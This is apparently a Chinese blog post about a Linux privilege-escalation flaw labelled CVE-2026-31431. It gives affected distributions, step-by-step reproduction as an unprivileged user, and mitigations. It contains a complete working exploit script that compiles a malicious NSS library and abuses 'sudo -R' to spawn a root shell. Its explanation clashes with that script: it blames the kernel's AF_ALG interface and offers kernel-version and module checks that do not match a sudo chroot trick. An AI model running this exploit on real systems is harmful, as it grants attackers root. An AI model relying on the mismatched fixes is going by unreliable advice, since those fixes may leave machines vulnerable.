CVE-2026-31431漏洞hello 各位最近工作太忙了，很久没更新博客了想不到都2026年了，Linux还能出这么爆冷的安全漏洞，而且这个漏洞涵盖了很多Linux发行版本这漏洞有点牛逼，2017 年至 2026-03-31 之间的几乎所有主流 Linux 内核与发行版，只要内核在下面区间就受影响：当然，号称华为自主研发的Openeuler Linux也没能幸免，因为跟随国家战略，基本上很多厂家都从原来的centos系列换成华为的欧拉了，但是实际上行内人士基本上都看得出来是centos套的壳子UbuntuUbuntu 18.04 LTSUbuntu 20.04 LTSUbuntu 22.04 LTSUbuntu 24.04 LTSDebianDebian 11（bullseye，内核 5.10.x）Debian 12（bookworm，内核 6.1.x）RHEL / CentOS / Rocky / Alma / OracleRHEL 8RHEL 9RHEL 10（含 10.1）CentOS 8Rocky Linux 8 / 9 / 10AlmaLinux 8 / 9Oracle Linux 8 / 9SUSESUSE Linux Enterprise 15SUSE Linux Enterprise 16（已验证 6.12 内核）云厂商 LinuxAmazon Linux 2Amazon Linux 2023（已验证 6.18.8）Alibaba Cloud LinuxTencentOS Server其他社区发行版Fedora（34–40，对应 5.x～6.17）Arch Linux（滚动内核，大部分 5.x/6.x 受影响）openEuler 22.03 / 24.03Manjaro、EndeavourOS 等基于 Arch 的发行版漏洞原理总结：普通账号，不用密码、不用特殊权限，直接干到 Root 最高管理员权限。玩过网络安全的朋友们都知道，想尽一切办法让上传成功的paylod能成功连上自己的反弹shell只是第一步最重要的还是提权！如果还是不清楚这是什么意思，这样说，最早期我们的手机可以刷机，需要root权限，因为安卓系统也是基于Linux拿到root权限以后，完全就可以变成板砖了，一点办法都没有....相比Windows ，Linux在“忠诚”这一层面，狠起来自己都可以删自己，这也流传了这样一个经典rm -rf /*漏洞复现准备环境Linux： 复制 [orange@Orange ~]$ cat /etc/os-release NAME="openEuler" VERSION="24.03 (LTS-SP2)" ID="openEuler" VERSION_ID="24.03" PRETTY_NAME="openEuler 24.03 (LTS-SP2)" ANSI_COLOR="0;31" 漏洞脚本 复制 #!/bin/bash STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX) cd ${STAGE?} || exit 1 if [ $# -eq 0 ]; then # If no command is provided, default to an interactive root shell. CMD="/bin/bash" else # Otherwise, use the provided arguments as the command to execute. CMD="$@" fi # Escape the command to safely include it in a C string literal. # This handles backslashes and double quotes. CMD_C_ESCAPED=$(printf '%s' "$CMD" | sed -e 's/\\/\\\\/g' -e 's/"/\\"/g') cat > woot1337.c<<EOF #include <stdlib.h> #include <unistd.h> __attribute__((constructor)) void woot(void) { setreuid(0,0); setregid(0,0); chdir("/"); execl("/bin/sh", "sh", "-c", "${CMD_C_ESCAPED}", NULL); } EOF mkdir -p woot/etc libnss_ echo "passwd: /woot1337" > woot/etc/nsswitch.conf cp /etc/group woot/etc gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c echo "woot!" sudo -R woot woot rm -rf ${STAGE?} 该漏洞代码已经在GitHub上开源了，链接：CVE-2026-31431环境准备 复制 useradd orange #创建orange账号 passwd orange #修改orange登录密码 vim /home/orange/abc.sh #在orange的家目录创建abc.sh，再将上面的代码复制进去 chmod 777 abc.sh #赋予abc.sh最高权限 su - orange #切换orange账号 或 直接重新ssh使用orange账号登录 根据以上图片，能看出使用orange账号登录进入，并查看abc.sh脚本可执行复现sh abc.sh 或 ./abc.sh 都可以讲真的，当时我自己第一次复现的时候，我人都麻了....因为我自己的云服务器很多都是欧拉或者ubuntu系列的随后我还真拿到我的云服务器上跑了一下，也成功了，虽然也需要通过普通账号进来，但是这也是一个很严重的突破口！漏洞修复总共分为两个方案，一个需重启一个不重启方案。因为一些厂家服务器不允许重新或者当下不能重启方案一【需重启】：更新系统版本内核① Ubuntu / Debian 系列 复制 # 更新软件源 apt update # 全量升级内核+系统补丁 apt upgrade -y # 重启生效 reboot ② CentOS 7 / 8 / 9、Rocky、Alma、欧拉 openEuler 复制 yum update -y # 或 dnf（新版系统） dnf update -y reboot 方案二【无需重启】：禁用 AF_ALG 加密套接字（漏洞必用组件） 复制 # 临时禁用，立刻生效 modprobe -r algif_aead # 永久禁用，重启也不加载 echo "blacklist algif_aead" >> /etc/modprobe.d/blacklist.conf 原理：该漏洞必须依赖 AF_ALG 加密接口才能构造恶意流量，直接卸载拉黑，EXP 直接跑不起来。检查漏洞是否修复1、查看当前内核版本 复制 uname -r 核对：＜6.18.23 → 还在高危≥6.18.23 → 已修复2、检测漏洞依赖模块是否存在 复制 lsmod | grep algif_aead 无输出 = 已禁用，临时防护生效